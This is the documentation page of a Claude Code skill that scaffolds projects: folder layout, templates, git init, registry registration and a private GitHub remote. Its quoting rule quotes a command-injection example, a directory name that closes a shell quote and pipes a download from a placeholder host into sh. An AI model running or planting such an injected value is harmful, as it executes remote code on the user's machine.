Skip to content

vt-d-scaffold

Scaffold a new project with universal folder structure, CLAUDE.md, PRODUCT-VISION.md, and PRD.md. Works for coding, knowledge work, design, and mixed projects.

Plugin: vt-product-dev
Category: Project Setup
Command: /vt-d-scaffold


Scaffold Skill

Scaffold a new project with the right folder structure for Claude Code workflows. Creates the universal base plus type-specific directories.

Relationship to /vt-d-bootstrap

  • /vt-d-scaffold creates the universal project structure (folders, CLAUDE.md, PRODUCT-VISION.md, PRD.md, .gitignore, git init)
  • /vt-d-bootstrap adds full tech-stack configs (package.json, tsconfig, CI workflows) to coding projects

For coding projects: /vt-d-scaffold coding my-app then optionally /vt-d-bootstrap typescript-api .

Invocation

# Interactive mode - prompts for all options
/vt-d-scaffold

# With project type and name
/vt-d-scaffold coding my-service
/vt-d-scaffold knowledge market-research
/vt-d-scaffold design new-dashboard
/vt-d-scaffold mixed feasibility-study

Prerequisites

  • Git - Required for repository initialization
  • GitHub CLI (gh) - Optional, for automatic remote repository creation. Install: brew install gh && gh auth login

Execution Instructions

Step 1: Gather Requirements

If arguments were not provided, use AskUserQuestion to gather:

  1. Project Type - Ask which type:
  2. coding - Software development (then use /vt-d-bootstrap for tech-stack setup)
  3. knowledge - Documentation, research, analysis, content creation
  4. design - Product design, UX design, iterative design workflows
  5. mixed - Research that may lead to code, feasibility studies

  6. Project Name - The directory name (use current directory name if already in the target folder)

Step 2: Check Current Directory

Before creating structure: - If current directory is empty → use current directory - If project-name argument provided AND current directory is different → create new subdirectory - If directory already has files → ask before proceeding, preserve existing files

Step 3: Create Universal Base

All project types get this structure:

project-root/
├── PRODUCT-VISION.md   # Strategic vision (from templates/vt-d-scaffold/base/)
├── PRD.md              # Requirements starter (from templates/vt-d-scaffold/base/)
├── CLAUDE.md           # Project instructions (type-specific template)
├── README.md           # Generated with project name and type
├── .gitignore          # Type-specific (from templates/vt-d-scaffold/)
├── .mcp.json           # MCP server config stub (from templates/vt-d-scaffold/base/)
├── .design-state.yaml  # Spec tracking (SPEC-195 FR-4)
├── 00-inbox/
│   └── README.md       # Input buffer (from templates/scaffold/base/inbox-README.md)
├── 01-docs/
│   └── journal/
│       └── .gitkeep
└── specs/
    └── .gitkeep        # The declared spec folder (SPEC-195 FR-4)

Every project type gets specs/ and a .design-state.yaml, not only design — reason: without them /vt-d-activate and /vt-d-spec-from-requirements fall back to probing, and the dashboard skips the project as having no spec tracking.

  • coding (including the Python sub-option), knowledge and mixed: copy templates/scaffold/base/design-state.yaml verbatim.
  • design: templates/scaffold/design/design-state.yaml from Step 4 instead — it carries the same specs_directory: specs/ plus the design workflow's own keys.

Both templates declare specs_directory: specs/ and a block-style specs_status:. Never write specs_status: {} — reason: flow style is what aggregate.sh reports as malformed, and the project then disappears from every cross-project dashboard.

Use the template files from templates/scaffold/base/ for PRODUCT-VISION.md and PRD.md. Fill in the project name in the templates. Use templates/scaffold/base/inbox-README.md for the inbox README. Use templates/scaffold/base/.mcp.json for the MCP server configuration stub. Use templates/scaffold/base/.claudeignore for the .claudeignore file (SPEC-114 / FR-14, FR-16) — copy verbatim to project root for all project types. Hides credentials, secret directories, and context-polluting artifacts from Claude's tool operations when the claudeignore-guard.sh PreToolUse hook is registered.

Step 4: Add Type-Specific Structure

Type: coding

mkdir -p src tests scripts 01-docs/adr 01-docs/runbooks 01-docs/solutions/patterns

Create: - 01-docs/adr/.gitkeep - 01-docs/runbooks/.gitkeep - 01-docs/solutions/patterns/critical-patterns.md (from templates/scaffold/coding/critical-patterns.md) - .env.example with comment: # Environment variables for [project-name] - .gitleaks.toml (from templates/scaffold/coding/.gitleaks.toml) — SPEC-114 / FR-15. Config for the gitleaks CLI secret scanner (user installs gitleaks separately). - Use templates/scaffold/coding/CLAUDE.md for CLAUDE.md - Use templates/scaffold/coding/gitignore-coding for .gitignore

Optional (ask user): - 01-docs/user-manual/ → End-user documentation site (MkDocs). Only create if user opts in. See /vt-d-1-bootstrap for the scaffolded structure. - .beads/ → Persistent issue tracking with Beads. Only create if user opts in. See /vt-d-1-bootstrap for initialization steps.

Ask user for language stack (optional):

What language / stack? (can be skipped) - Python (adds .venv/, requirements.txt, pyproject.toml, venv allowlist — see Sub-option below) - TypeScript / Node (defer to /vt-d-1-bootstrap) - Other / skip (generic coding setup only)

Sub-option: Python

When the user selects Python:

  1. Probe for Python interpreter in order (EC-01): python3.12, python3.11, python3, python. If none found, stop and emit:

    "No suitable Python interpreter found. Install Python 3.11+ from https://www.python.org/downloads/ and re-run this step." Do NOT silently skip venv creation.

  2. Create the virtual environment: run <python-cmd> -m venv .venv at the project root. Verify .venv/pyvenv.cfg exists afterward (SPEC-115 / PEP 405 signal).
  3. Copy templates from templates/scaffold/python/:
  4. requirements.txt verbatim.
  5. pyproject.toml with PROJECT_NAME replaced by the sanitized project name.
  6. Merge templates/scaffold/python/.claude/settings.json into the project's .claude/settings.json:
  7. If the project file does not exist, copy verbatim.
  8. If it exists, append the Python permissions.allow entries (deduplicate).
  9. Verify .venv/ in .claudeignore: the SPEC-114 .claudeignore template already includes .venv/. Confirm and skip if present; append otherwise.
  10. Post-scaffold message:

    "Python project ready. Next: source .venv/bin/activate and .venv/bin/pip install -r requirements.txt (once requirements are pinned). See /vt-d-python-security for supply-chain best practices including pip-audit, --require-hashes, and lockfile hygiene."

Security rationale: SPEC-115 deny rules block bare pip install globally; the project allowlist scoped to .venv/bin/... and .venv/Scripts/... is what re-enables installs inside the venv without unlocking the system Python.

Type: knowledge

mkdir -p 01-docs/deliverables 01-docs/sources 01-docs/drafts

Create: - 01-docs/deliverables/.gitkeep - 01-docs/sources/.gitkeep - 01-docs/drafts/.gitkeep - Use templates/scaffold/knowledge/CLAUDE.md for CLAUDE.md - Use templates/scaffold/base/gitignore-base for .gitignore

Type: design

mkdir -p 01-docs/deliverables 01-docs/deliverables/implementation-readiness 01-docs/research

Create: - 01-docs/deliverables/.gitkeep - 01-docs/deliverables/implementation-readiness/.gitkeep - 01-docs/research/.gitkeep - .design-state.yaml (from templates/scaffold/design/design-state.yaml) - Use templates/scaffold/design/CLAUDE.md for CLAUDE.md - Use templates/scaffold/base/gitignore-base for .gitignore

Type: mixed

mkdir -p src scripts 01-docs/adr 01-docs/deliverables 01-docs/deliverables/implementation-readiness 01-docs/research 01-docs/solutions/patterns

Create: - 01-docs/adr/.gitkeep - 01-docs/deliverables/.gitkeep - 01-docs/deliverables/implementation-readiness/.gitkeep - 01-docs/research/.gitkeep - 01-docs/solutions/patterns/critical-patterns.md (from templates/scaffold/coding/critical-patterns.md) - .gitleaks.toml (from templates/scaffold/coding/.gitleaks.toml) — SPEC-114 / FR-15. Mixed projects include code. - Use templates/scaffold/mixed/CLAUDE.md for CLAUDE.md - Use templates/scaffold/coding/gitignore-coding for .gitignore

Step 5: Generate README.md

# [Project Name]

[One-line description from PRODUCT-VISION.md if already filled in, otherwise placeholder]

## Getting Started

See [PRODUCT-VISION.md](PRODUCT-VISION.md) for the project vision and [PRD.md](PRD.md) for requirements.

## Project Structure

[Show the created folder structure]

## Claude Code Integration

This project uses [VisiTrans Claude Toolkit](https://github.com/...) standards.
- Project instructions: [CLAUDE.md](CLAUDE.md)
- Global standards: `~/.claude/CLAUDE.md`
- Session journals: `01-docs/journal/`

Step 6: Initialize Git

# Only if .git doesn't exist
git init
git add .
git commit -m "Initialize [project-type] project: [project-name]"

Step 6.5: Register Project in Toolkit

Register this project in the toolkit's project registry so /vt-t-toolkit-review can scan it for procedure improvement proposals.

  1. Check first — skip the registration when the project is already known:
bash ~/.claude/skills/vt-c-project-register/scripts/resolve_project.sh "$(pwd)"

Exit 0 AND field 5 equals this repository's toplevel OR its main checkout (the parent of git rev-parse --path-format=absolute --git-common-dir): already registered (or the toolkit itself) — skip to item 4. Exit 0 with field 5 matching neither: this repository is not registered, it merely sits inside one — continue. Exit 1: continue. Exit 2 or a missing script: report "Toolkit defect: — project not registered" and skip to item 4.

Exit 0 alone does NOT mean THIS repository is registered: pr_match is a longest-PREFIX match, so a git repository nested inside a registered umbrella resolves with the umbrella's id and path, exit 0. Compare field 5 against BOTH this repository's own git rev-parse --path-format=absolute --show-toplevel AND its main checkout — the parent of git rev-parse --path-format=absolute --git-common-dir. Equal to either means the match IS this repository. Both comparisons are required: in a worktree the toplevel is the worktree while field 5 is the main checkout, so a toplevel-only test reads "not registered" for every worktree of every registered project and would register the same repository a second time under a second id (review pass 10, P10-DOC-1 — the id V025 row already handled "or one of its worktrees"; nothing else did). (If field 5 and the local path differ merely in spelling — case, Unicode normalisation, or an APFS firmlink — the registry writer refuses the duplicate, so that path ends in a refusal, never a second entry.) Review pass 9, P9-DOC-1: without the comparison at all, a nested repository could never be registered through any documented path.

  1. Ask for the project id, the parent (sub-repositories only) and the spec folder (only when the repository declares none) as ~/.claude/skills/vt-c-project-register/references/registry-item-prompt.md describes. Path is $(pwd), name the project name, type the type from Step 1. A freshly scaffolded project declares specs_directory: specs/, so the spec-folder question is skipped.

  2. Write through the registry writer, with the quoting rule and exit-code handling of that reference (0 written; 3 refused → re-ask a value-level refusal, stop registering on a terminal one — the reference's exit table says which is which; 2 toolkit defect → report and continue scaffolding):

bash ~/.claude/skills/vt-c-project-register/scripts/registry_write.sh add \
  --path "$(pwd)" --name '[project name]' --type '[type from Step 1]' --id '[id]' \
  --parent '[parent]' --domain '[domain]'

Omit every flag whose value is empty; a private project gets --board false instead of --id.

Quoting — state it here, do not follow the link for it. Put every value in single quotes, and refuse to run the command if any value contains a ' — stop and ask instead. Reason: the project name and path come from the repository being scaffolded, so a directory called App'$(curl -s http://x|sh)' closes the quote and the substitution runs as you. The writer cannot save you: by the time it parses argv the injection has already executed. This rule is repeated in full at each call site on purpose — a reader who only follows the reference is the reader who skips the check. --path "$(pwd)" is the one exception: the output of a command or variable expansion is never re-parsed, so it is safe in double quotes.

Never append to intake/projects.yaml with a heredoc — reason: an item without an id turns the id guard red, and a second entry for the same path is aggregated twice.

Then record the write (BUG-251) — the registry lives in the toolkit checkout, not in the project being scaffolded, and left uncommitted there the entry is destroyed by the next reset, merge or branch switch. The stub derives the toolkit checkout from its own physical location:

bash ~/.claude/skills/vt-c-project-register/scripts/commit-registry-write.sh \
  "chore(intake): register a scaffolded project (BUG-251)"

The subject is a constant on purpose: the project name would sit inside double quotes, where $(…) in a directory name runs before the script sees it — the single-quote rule above cannot protect this line. Show its output verbatim. The script commits only when that is safe — never on main, a detached HEAD, or mid-merge — and otherwise states the risk, which is the point.

  1. Create the proposals folder:
# Canonical path is docs/ (SPEC-150 FR-6) — the same path project-register,
# project-sync, and toolkit-review write/read; 01-docs/ was never swept.
mkdir -p "docs/toolkit-proposals"

Note: This step asks for the project id, then writes. If the toolkit is not installed or reports a defect, scaffolding continues without registering — say so in the final summary.

Step 7: Unified Repo Governance (Optional)

Ask the user whether to enable unified repo governance:

Use AskUserQuestion:

Enable unified repo governance?
This adds partition boundaries (deployable/context/sandbox), Git LFS for binaries,
and deployment integrity checks.

Options: - Yes (Recommended) — Run /vt-c-repo-init inline to set up .repo-manifest.yaml, Git LFS, and .gitattributes - No — Skip governance. Can enable later with /vt-c-repo-init

If "Yes": Execute /vt-c-repo-init steps (detect structure, create manifest, init LFS, update .gitignore).

Step 8: GitHub Remote Setup

8a: Check GitHub CLI

  1. Check if gh is installed:
    command -v gh &>/dev/null
    

If NOT installed, show setup guide and skip the rest of Step 8:

⚠ GitHub CLI is required for remote repository setup.

Install:
  brew install gh

Then authenticate:
  gh auth login
    → Select "GitHub.com"
    → Select "HTTPS"
    → Authenticate via browser

After setup, re-run /vt-d-scaffold or manually create the remote:
  gh repo create Visitrans/[project-name] --private --source=. --push

  1. Check authentication:
    gh auth status 2>&1
    

If NOT authenticated, guide the user and skip the rest of Step 8:

⚠ GitHub CLI is installed but not authenticated.

Run:
  gh auth login
    → Select "GitHub.com"
    → Select "HTTPS"
    → Authenticate via browser

Then re-run /vt-d-scaffold or manually create the remote.

  1. Check org membership (informational — does not block):
    gh org list 2>/dev/null | grep -qi visitrans
    
    If Visitrans is not in the org list, note this for the fallback option in 8b.

8b: Ask about remote repository

Use AskUserQuestion:

Create a private GitHub remote repository?

Options: - Visitrans org (Recommended) — Creates private repo at github.com/Visitrans/[project-name] - Personal account — Creates private repo under your personal GitHub account - Skip — No remote repository, local only

All VisiTrans repos are always private. Public repos are not offered.

If the org membership check in 8a failed, inform the user:

Note: Your GitHub account may not be a member of the Visitrans org.
You can still try — if it fails, use the personal account option.

8c: Create the remote

If Visitrans org:

gh repo create Visitrans/[project-name] --private --source=. --push

If personal account:

gh repo create [project-name] --private --source=. --push

8d: Verify and display

git remote -v

On success:

✓ Remote repository created!
  URL: https://github.com/Visitrans/[project-name]

  Reminder: Enable branch protection for main in GitHub settings.
  Recommended: Enable "Automatically delete head branches" in GitHub repo settings.
  This removes remote branches automatically after PR merge.

On failure (permission denied, name conflict, etc.):

✗ Failed to create remote repository.

Common causes:
- You may not have permission to create repos in the Visitrans org
  → Ask an org admin for the "Repository creator" role
- A repo with this name may already exist
  → Check: gh repo view Visitrans/[project-name]
- Authentication issue
  → Run: gh auth status

You can create the remote manually later:
  gh repo create Visitrans/[project-name] --private --source=. --push

Step 9: Show Next Steps

Based on project type, show appropriate next steps:

Coding:

Project initialized!

Next steps:
1. Edit PRODUCT-VISION.md with your project vision
2. Run /vt-d-bootstrap [stack] to add tech-stack configs:
   - /vt-d-bootstrap typescript-api
   - /vt-d-bootstrap react-app
   - /vt-d-bootstrap nextjs-app
3. Run /vt-d-kw-prd to create the full PRD
4. Start development: /vt-d-0-start

Available workflows:
- /vt-d-0-start      Development workflow
- /vt-d-kw-prd       Create full PRD
- /vt-c-journal      Capture decisions

Knowledge:

Project initialized!

Next steps:
1. Edit PRODUCT-VISION.md with your project vision
2. Run /vt-d-kw-prd to create the full PRD
3. Start working: /vt-d-activate

Available workflows:
- /vt-d-activate   Knowledge work workflow
- /vt-d-kw-prd       Create full PRD
- /vt-c-journal      Capture decisions
- /vt-c-consolidate  Synthesize learnings

Design:

Project initialized!

Next steps:
1. Edit PRODUCT-VISION.md with your project vision
2. Start design workflow: /vt-d-pd-0-start
3. Create PRD when ready: /vt-d-pd-2-prd

Available workflows:
- /vt-d-pd-0-start   Product design workflow
- /vt-d-pd-2-prd     Create full PRD
- /vt-c-journal      Capture decisions

Mixed:

Project initialized!

Next steps:
1. Edit PRODUCT-VISION.md with your project vision
2. Start with research: /vt-d-activate
3. When code is needed: /vt-d-bootstrap [stack]

Available workflows:
- /vt-d-activate   Knowledge work (research phase)
- /vt-d-0-start      Development workflow (when code begins)
- /vt-d-kw-prd       Create full PRD
- /vt-c-journal      Capture decisions

Handling Existing Files

  • If PRODUCT-VISION.md, PRD.md, CLAUDE.md, or README.md already exist → do not overwrite, skip with a note
  • If .mcp.json already exists → do not overwrite, skip with a note
  • If .claudeignore already exists → do not overwrite, skip with a note (SPEC-114)
  • If .gitleaks.toml already exists → do not overwrite, skip with a note (SPEC-114)
  • If 00-inbox/ already exists → skip creation, do not overwrite
  • If 01-docs/ or docs/ directory exists → preserve contents, add missing subdirectories
  • If .git exists → skip git init
  • If .gitignore exists → do not overwrite

Template Files Location

All templates are in V025-claude-toolkit/templates/scaffold/: - base/ - Universal files (PRODUCT-VISION.md, PRD.md, inbox-README.md, gitignore-base, .mcp.json, .claudeignore) - coding/ - Coding project files (CLAUDE.md, gitignore-coding, critical-patterns.md, .gitleaks.toml) - knowledge/ - Knowledge work files (CLAUDE.md) - design/ - Design project files (CLAUDE.md, design-state.yaml) - mixed/ - Mixed project files (CLAUDE.md)